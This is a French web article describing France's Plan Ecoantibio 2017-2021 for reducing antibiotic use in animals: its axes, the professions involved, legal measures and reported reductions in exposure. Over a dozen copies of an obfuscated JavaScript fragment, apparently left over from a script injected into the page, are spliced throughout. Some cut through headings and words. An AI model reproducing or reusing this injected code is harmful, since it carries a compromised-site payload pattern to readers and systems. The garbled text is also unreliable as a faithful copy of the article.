Plan Ecoantibio 2


La perte d’efficacité des antibiotiques impacte la santé humaine,
la santé animale et celle des écosytèmes.
Les enjeux du dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}Plan Ecoantibio 2017-2021 sont le changement durable des pratiques de prescription des antibiotiques, l’amélioration des conditions de vie des animaux et l’accès à des produits de santé efficaces et économiques, autres que les antibiotiques.


 

Les axes du Plan ECOANTIBIO dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

Le plan Ecoantibio 2017-2021* doit se déployer sur plusieurs axes, tout d’abord développer la prévention des maladies infectieuses et favoriser les traitements alternatifs ; ensuite communiquer et former sur les enjeux de lutte contre l’antibiorésistance, sur la prescription raisonnée des antibiotiques et sur les autres moyens de maîtrise des maladies infectieuses ; enfin, mettre à disposition des outils d’évaluation et de suivi du recours aux antibiotiques, ainsi que des outils pour leur prescription et administration responsables. Aux niveaux européen et international le plan prévoit d’assurer la bonne application des règles de bon usage en favorisant leur adoption.

 

Les acteurs dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

Le plan Ecoantibio mobilise les professionnels de santé, de l’élevage, les pouvoirs publics et les propriétaires d’animaux.

 

Les éleveurs des différentes filières sont sollicités pour prendre des mesures de prévention et se former au bon usage des antibiotiques et à la biosécurite ainsi que d’améliorer les pratiques d’élevage (hygiène, entretien des bâtiments des exploitations, suivi sanitaire).

 

Les vétérinaires et les pharmaciens doivent améliorer les pratiques de prescription pour moins recourir aux antibiotiques et conseiller les éleveurs pour de meilleures conditions d’élevage et éviter l’apparition de maladies.

 

L’exposition des animaux aux antibiotiques a reculé de 37 % dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

 

Les scientifiques et les évaluateurs du risque (dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}Anses) doivent accroître une meilleure connaissance de l’immunologie pour développer des vaccins contre les maladies bactériennes ;
ils doivent également rechercher des méthodes de soins alternatives, sur les mécanismes de résistance et définir des méthodes d’évaluation des risques d’antibiorésistance.
 

L’industrie pharmaceutique, enfin, doit s’orienter vers le développement de nouveaux antibiotiques et d’alternatives comme celles de vaccins permettant d’éviter le recours d’antibiotiques.

 

En soutien à ces mesures incitatives, dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}L’Etat a légiféré en interdisant les remises, rabais ou ristournes lors de cession d’antibiotiques, en encadrant la prescription et la délivrance d’antibiotiques d’importance critique, avec la publication du guide de bonnes pratiques d’emploi des antibiotiques en médecine vétérinaire et la prise en compte du défi dans le code de déontologie vétérinaire.

 
Resultatsdom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

Durant les 5 années du plan 2012-2016, l’exposition des animaux aux antibiotiques a reculé de 37 %. L’exposition des animaux aux antibiotiques critiques a diminuée de 75 % pour les fluoro-quinolones
et de 81% pour les céphalosporines de dernières générations entre 2013 et 2016.
 

En France, l’exposition des animaux aux antibiotiques est inférieure à la moyenne européenne.
On constate une tendance globale de repli de l’antibiorésistance pour la plupart des antibiotiques et des filières animales.
 
 
Jean-Jacques Chaux

 

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}article Plan ecoantibio

* Le Plan Ecoantibio s’inscrit dans le cadre des recommdom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andations internationales de l’Organisation mondiale de la santé animale (dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}OIE), de l’Organisation Mondiale de la Santé (dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}OMS), de l’Organisation des Nations-unies pour l’Alimentation et l’Agriculture (dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}FAO) et dans le dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}projet agro-écologique du
 Ministère de l’Agriculture et de l’Alimentation (MAA).